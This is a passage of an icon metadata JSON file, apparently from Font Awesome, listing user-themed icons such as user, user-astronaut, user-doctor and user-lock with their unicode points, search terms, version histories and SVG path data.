        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"
      }
    },
    "free": ["brands"]
  },
  "user": {
    "aliases": {
      "unicodes": {
        "composite": ["1f464", "f2c0"],
        "secondary": ["10f007"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "adult",
        "bust",
        "bust in silhouette",
        "gender-neutral",
        "person",
        "profile",
        "silhouette",
        "unspecified gender",
        "users-people"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f007",
    "label": "User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3z"
      },
      "regular": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M304 128a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM49.3 464H398.7c-8.9-63.3-63.3-112-129-112H178.3c-65.7 0-120.1 48.7-129 112zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M304 128a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM49.3 464H398.7c-8.9-63.3-63.3-112-129-112H178.3c-65.7 0-120.1 48.7-129 112zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "user-astronaut": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fb"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["avatar", "clothing", "cosmonaut", "nasa", "space", "suit"]
    },
    "styles": ["solid"],
    "unicode": "f4fb",
    "label": "User Astronaut",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M370.7 96.1C346.1 39.5 289.7 0 224 0S101.9 39.5 77.3 96.1C60.9 97.5 48 111.2 48 128v64c0 16.8 12.9 30.5 29.3 31.9C101.9 280.5 158.3 320 224 320s122.1-39.5 146.7-96.1c16.4-1.4 29.3-15.1 29.3-31.9V128c0-16.8-12.9-30.5-29.3-31.9zM336 144v16c0 53-43 96-96 96H208c-53 0-96-43-96-96V144c0-26.5 21.5-48 48-48H288c26.5 0 48 21.5 48 48zM189.3 162.7l-6-21.2c-.9-3.3-3.9-5.5-7.3-5.5s-6.4 2.2-7.3 5.5l-6 21.2-21.2 6c-3.3 .9-5.5 3.9-5.5 7.3s2.2 6.4 5.5 7.3l21.2 6 6 21.2c.9 3.3 3.9 5.5 7.3 5.5s6.4-2.2 7.3-5.5l6-21.2 21.2-6c3.3-.9 5.5-3.9 5.5-7.3s-2.2-6.4-5.5-7.3l-21.2-6zM112.7 316.5C46.7 342.6 0 407 0 482.3C0 498.7 13.3 512 29.7 512H128V448c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64l98.3 0c16.4 0 29.7-13.3 29.7-29.7c0-75.3-46.7-139.7-112.7-165.8C303.9 338.8 265.5 352 224 352s-79.9-13.2-111.3-35.5zM176 448c-8.8 0-16 7.2-16 16v48h32V464c0-8.8-7.2-16-16-16zm96 32a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M370.7 96.1C346.1 39.5 289.7 0 224 0S101.9 39.5 77.3 96.1C60.9 97.5 48 111.2 48 128v64c0 16.8 12.9 30.5 29.3 31.9C101.9 280.5 158.3 320 224 320s122.1-39.5 146.7-96.1c16.4-1.4 29.3-15.1 29.3-31.9V128c0-16.8-12.9-30.5-29.3-31.9zM336 144v16c0 53-43 96-96 96H208c-53 0-96-43-96-96V144c0-26.5 21.5-48 48-48H288c26.5 0 48 21.5 48 48zM189.3 162.7l-6-21.2c-.9-3.3-3.9-5.5-7.3-5.5s-6.4 2.2-7.3 5.5l-6 21.2-21.2 6c-3.3 .9-5.5 3.9-5.5 7.3s2.2 6.4 5.5 7.3l21.2 6 6 21.2c.9 3.3 3.9 5.5 7.3 5.5s6.4-2.2 7.3-5.5l6-21.2 21.2-6c3.3-.9 5.5-3.9 5.5-7.3s-2.2-6.4-5.5-7.3l-21.2-6zM112.7 316.5C46.7 342.6 0 407 0 482.3C0 498.7 13.3 512 29.7 512H128V448c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64l98.3 0c16.4 0 29.7-13.3 29.7-29.7c0-75.3-46.7-139.7-112.7-165.8C303.9 338.8 265.5 352 224 352s-79.9-13.2-111.3-35.5zM176 448c-8.8 0-16 7.2-16 16v48h32V464c0-8.8-7.2-16-16-16zm96 32a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "user-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fc"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fc",
    "label": "User Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM625 177L497 305c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L591 143c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM625 177L497 305c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L591 143c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "user-clock": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fd"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fd",
    "label": "User Clock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c20.6 0 40.4 3.5 58.8 9.9C323 331 320 349.1 320 368c0 59.5 29.5 112.1 74.8 144H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-80c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H512V304c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c20.6 0 40.4 3.5 58.8 9.9C323 331 320 349.1 320 368c0 59.5 29.5 112.1 74.8 144H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM352 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-80c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H512V304c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "user-doctor": {
    "aliases": {
      "names": ["user-md"],
      "unicodes": {
        "secondary": ["10f0f0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.7",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "health",
        "job",
        "medical",
        "nurse",
        "occupation",
        "physician",
        "profile",
        "surgeon",
        "worker"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f0",
    "label": "User Doctor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-96 55.2C54 332.9 0 401.3 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-81-54-149.4-128-171.1V362c27.6 7.1 48 32.2 48 62v40c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16s7.2-16 16-16V424c0-17.7-14.3-32-32-32s-32 14.3-32 32v24c8.8 0 16 7.2 16 16s-7.2 16-16 16H256c-8.8 0-16-7.2-16-16V424c0-29.8 20.4-54.9 48-62V304.9c-6-.6-12.1-.9-18.3-.9H178.3c-6.2 0-12.3 .3-18.3 .9v65.4c23.1 6.9 40 28.3 40 53.7c0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.4 16.9-46.8 40-53.7V311.2zM144 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-96 55.2C54 332.9 0 401.3 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7c0-81-54-149.4-128-171.1V362c27.6 7.1 48 32.2 48 62v40c0 8.8-7.2 16-16 16H336c-8.8 0-16-7.2-16-16s7.2-16 16-16V424c0-17.7-14.3-32-32-32s-32 14.3-32 32v24c8.8 0 16 7.2 16 16s-7.2 16-16 16H256c-8.8 0-16-7.2-16-16V424c0-29.8 20.4-54.9 48-62V304.9c-6-.6-12.1-.9-18.3-.9H178.3c-6.2 0-12.3 .3-18.3 .9v65.4c23.1 6.9 40 28.3 40 53.7c0 30.9-25.1 56-56 56s-56-25.1-56-56c0-25.4 16.9-46.8 40-53.7V311.2zM144 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "user-gear": {
    "aliases": {
      "names": ["user-cog"],
      "unicodes": {
        "secondary": ["10f4fe"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fe",
    "label": "User Gear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c11.8 0 23.4 1.2 34.5 3.3c-2.1 18.5 7.4 35.6 21.8 44.8c-16.6 10.6-26.7 31.6-20 53.3c4 12.9 9.4 25.5 16.4 37.6s15.2 23.1 24.4 33c15.7 16.9 39.6 18.4 57.2 8.7v.9c0 9.2 2.7 18.5 7.9 26.3H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM436 218.2c0-7 4.5-13.3 11.3-14.8c10.5-2.4 21.5-3.7 32.7-3.7s22.2 1.3 32.7 3.7c6.8 1.5 11.3 7.8 11.3 14.8v30.6c7.9 3.4 15.4 7.7 22.3 12.8l24.9-14.3c6.1-3.5 13.7-2.7 18.5 2.4c7.6 8.1 14.3 17.2 20.1 27.2s10.3 20.4 13.5 31c2.1 6.7-1.1 13.7-7.2 17.2l-25 14.4c.4 4 .7 8.1 .7 12.3s-.2 8.2-.7 12.3l25 14.4c6.1 3.5 9.2 10.5 7.2 17.2c-3.3 10.6-7.8 21-13.5 31s-12.5 19.1-20.1 27.2c-4.8 5.1-12.5 5.9-18.5 2.4l-24.9-14.3c-6.9 5.1-14.3 9.4-22.3 12.8l0 30.6c0 7-4.5 13.3-11.3 14.8c-10.5 2.4-21.5 3.7-32.7 3.7s-22.2-1.3-32.7-3.7c-6.8-1.5-11.3-7.8-11.3-14.8V454.8c-8-3.4-15.6-7.7-22.5-12.9l-24.7 14.3c-6.1 3.5-13.7 2.7-18.5-2.4c-7.6-8.1-14.3-17.2-20.1-27.2s-10.3-20.4-13.5-31c-2.1-6.7 1.1-13.7 7.2-17.2l24.8-14.3c-.4-4.1-.7-8.2-.7-12.4s.2-8.3 .7-12.4L343.8 325c-6.1-3.5-9.2-10.5-7.2-17.2c3.3-10.6 7.7-21 13.5-31s12.5-19.1 20.1-27.2c4.8-5.1 12.4-5.9 18.5-2.4l24.8 14.3c6.9-5.1 14.5-9.4 22.5-12.9V218.2zm92.1 133.5a48.1 48.1 0 1 0 -96.1 0 48.1 48.1 0 1 0 96.1 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 0a128 128 0 1 1 0 256A128 128 0 1 1 224 0zM178.3 304h91.4c11.8 0 23.4 1.2 34.5 3.3c-2.1 18.5 7.4 35.6 21.8 44.8c-16.6 10.6-26.7 31.6-20 53.3c4 12.9 9.4 25.5 16.4 37.6s15.2 23.1 24.4 33c15.7 16.9 39.6 18.4 57.2 8.7v.9c0 9.2 2.7 18.5 7.9 26.3H29.7C13.3 512 0 498.7 0 482.3C0 383.8 79.8 304 178.3 304zM436 218.2c0-7 4.5-13.3 11.3-14.8c10.5-2.4 21.5-3.7 32.7-3.7s22.2 1.3 32.7 3.7c6.8 1.5 11.3 7.8 11.3 14.8v30.6c7.9 3.4 15.4 7.7 22.3 12.8l24.9-14.3c6.1-3.5 13.7-2.7 18.5 2.4c7.6 8.1 14.3 17.2 20.1 27.2s10.3 20.4 13.5 31c2.1 6.7-1.1 13.7-7.2 17.2l-25 14.4c.4 4 .7 8.1 .7 12.3s-.2 8.2-.7 12.3l25 14.4c6.1 3.5 9.2 10.5 7.2 17.2c-3.3 10.6-7.8 21-13.5 31s-12.5 19.1-20.1 27.2c-4.8 5.1-12.5 5.9-18.5 2.4l-24.9-14.3c-6.9 5.1-14.3 9.4-22.3 12.8l0 30.6c0 7-4.5 13.3-11.3 14.8c-10.5 2.4-21.5 3.7-32.7 3.7s-22.2-1.3-32.7-3.7c-6.8-1.5-11.3-7.8-11.3-14.8V454.8c-8-3.4-15.6-7.7-22.5-12.9l-24.7 14.3c-6.1 3.5-13.7 2.7-18.5-2.4c-7.6-8.1-14.3-17.2-20.1-27.2s-10.3-20.4-13.5-31c-2.1-6.7 1.1-13.7 7.2-17.2l24.8-14.3c-.4-4.1-.7-8.2-.7-12.4s.2-8.3 .7-12.4L343.8 325c-6.1-3.5-9.2-10.5-7.2-17.2c3.3-10.6 7.7-21 13.5-31s12.5-19.1 20.1-27.2c4.8-5.1 12.4-5.9 18.5-2.4l24.8 14.3c6.9-5.1 14.5-9.4 22.5-12.9V218.2zm92.1 133.5a48.1 48.1 0 1 0 -96.1 0 48.1 48.1 0 1 0 96.1 0z"
      }
    },
    "free": ["solid"]
  },
  "user-graduate": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f501"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f501",
    "label": "User Graduate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M219.3 .5c3.1-.6 6.3-.6 9.4 0l200 40C439.9 42.7 448 52.6 448 64s-8.1 21.3-19.3 23.5L352 102.9V160c0 70.7-57.3 128-128 128s-128-57.3-128-128V102.9L48 93.3v65.1l15.7 78.4c.9 4.7-.3 9.6-3.3 13.3s-7.6 5.9-12.4 5.9H16c-4.8 0-9.3-2.1-12.4-5.9s-4.3-8.6-3.3-13.3L16 158.4V86.6C6.5 83.3 0 74.3 0 64C0 52.6 8.1 42.7 19.3 40.5l200-40zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M219.3 .5c3.1-.6 6.3-.6 9.4 0l200 40C439.9 42.7 448 52.6 448 64s-8.1 21.3-19.3 23.5L352 102.9V160c0 70.7-57.3 128-128 128s-128-57.3-128-128V102.9L48 93.3v65.1l15.7 78.4c.9 4.7-.3 9.6-3.3 13.3s-7.6 5.9-12.4 5.9H16c-4.8 0-9.3-2.1-12.4-5.9s-4.3-8.6-3.3-13.3L16 158.4V86.6C6.5 83.3 0 74.3 0 64C0 52.6 8.1 42.7 19.3 40.5l200-40zM111.9 327.7c10.5-3.4 21.8 .4 29.4 8.5l71 75.5c6.3 6.7 17 6.7 23.3 0l71-75.5c7.6-8.1 18.9-11.9 29.4-8.5C401 348.6 448 409.4 448 481.3c0 17-13.8 30.7-30.7 30.7H30.7C13.8 512 0 498.2 0 481.3c0-71.9 47-132.7 111.9-153.6z"
      }
    },
    "free": ["solid"]
  },
  "user-group": {
    "aliases": {
      "names": ["user-friends"],
      "unicodes": {
        "composite": ["1f465"],
        "secondary": ["10f500"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bust", "busts in silhouette", "silhouette", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "f500",
    "label": "User Group",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM609.3 512H471.4c5.4-9.4 8.6-20.3 8.6-32v-8c0-60.7-27.1-115.2-69.8-151.8c2.4-.1 4.7-.2 7.1-.2h61.4C567.8 320 640 392.2 640 481.3c0 17-13.8 30.7-30.7 30.7zM432 256c-31 0-59-12.6-79.3-32.9C372.4 196.5 384 163.6 384 128c0-26.8-6.6-52.1-18.3-74.3C384.3 40.1 407.2 32 432 32c61.9 0 112 50.1 112 112s-50.1 112-112 112z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM609.3 512H471.4c5.4-9.4 8.6-20.3 8.6-32v-8c0-60.7-27.1-115.2-69.8-151.8c2.4-.1 4.7-.2 7.1-.2h61.4C567.8 320 640 392.2 640 481.3c0 17-13.8 30.7-30.7 30.7zM432 256c-31 0-59-12.6-79.3-32.9C372.4 196.5 384 163.6 384 128c0-26.8-6.6-52.1-18.3-74.3C384.3 40.1 407.2 32 432 32c61.9 0 112 50.1 112 112s-50.1 112-112 112z"
      }
    },
    "free": ["solid"]
  },
  "user-injured": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f728"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f728",
    "label": "User Injured",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240 80H342.7c-7.9-19.5-20.4-36.5-36.2-49.9L240 80zm37.7-68.2C261.3 4.2 243.2 0 224 0c-53.7 0-99.7 33.1-118.7 80h81.4l91-68.2zM224 256c70.7 0 128-57.3 128-128c0-5.4-.3-10.8-1-16H97c-.7 5.2-1 10.6-1 16c0 70.7 57.3 128 128 128zM124 312.4c-9.7 3.1-19.1 7-28 11.7V512H243.7L181.5 408.2 124 312.4zm33-7.2L204.3 384H272c44.2 0 80 35.8 80 80c0 18-6 34.6-16 48h82.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3c-7.2 0-14.3 .4-21.3 1.3zM0 482.3C0 498.7 13.3 512 29.7 512H64V345.4C24.9 378.1 0 427.3 0 482.3zM320 464c0-26.5-21.5-48-48-48H223.5l57.1 95.2C303 507.2 320 487.6 320 464z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M240 80H342.7c-7.9-19.5-20.4-36.5-36.2-49.9L240 80zm37.7-68.2C261.3 4.2 243.2 0 224 0c-53.7 0-99.7 33.1-118.7 80h81.4l91-68.2zM224 256c70.7 0 128-57.3 128-128c0-5.4-.3-10.8-1-16H97c-.7 5.2-1 10.6-1 16c0 70.7 57.3 128 128 128zM124 312.4c-9.7 3.1-19.1 7-28 11.7V512H243.7L181.5 408.2 124 312.4zm33-7.2L204.3 384H272c44.2 0 80 35.8 80 80c0 18-6 34.6-16 48h82.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3c-7.2 0-14.3 .4-21.3 1.3zM0 482.3C0 498.7 13.3 512 29.7 512H64V345.4C24.9 378.1 0 427.3 0 482.3zM320 464c0-26.5-21.5-48-48-48H223.5l57.1 95.2C303 507.2 320 487.6 320 464z"
      }
    },
    "free": ["solid"]
  },
  "user-large": {
    "aliases": {
      "names": ["user-alt"],
      "unicodes": {
        "secondary": ["10f406"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f406",
    "label": "User Large",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 288A144 144 0 1 0 256 0a144 144 0 1 0 0 288zm-94.7 32C72.2 320 0 392.2 0 481.3c0 17 13.8 30.7 30.7 30.7H481.3c17 0 30.7-13.8 30.7-30.7C512 392.2 439.8 320 350.7 320H161.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 288A144 144 0 1 0 256 0a144 144 0 1 0 0 288zm-94.7 32C72.2 320 0 392.2 0 481.3c0 17 13.8 30.7 30.7 30.7H481.3c17 0 30.7-13.8 30.7-30.7C512 392.2 439.8 320 350.7 320H161.3z"
      }
    },
    "free": ["solid"]
  },
  "user-large-slash": {
    "aliases": {
      "names": ["user-alt-slash"],
      "unicodes": {
        "secondary": ["10f4fa"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fa",
    "label": "User Large Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L381.9 274c48.5-23.2 82.1-72.7 82.1-130C464 64.5 399.5 0 320 0C250.4 0 192.4 49.3 178.9 114.9L38.8 5.1zM545.5 512H528L284.3 320h-59C136.2 320 64 392.2 64 481.3c0 17 13.8 30.7 30.7 30.7H545.3l.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L381.9 274c48.5-23.2 82.1-72.7 82.1-130C464 64.5 399.5 0 320 0C250.4 0 192.4 49.3 178.9 114.9L38.8 5.1zM545.5 512H528L284.3 320h-59C136.2 320 64 392.2 64 481.3c0 17 13.8 30.7 30.7 30.7H545.3l.3 0z"
      }
    },
    "free": ["solid"]
  },
  "user-lock": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f502"]
      }
    },
    "changes": ["5.0.11", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f502",
    "label": "User Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
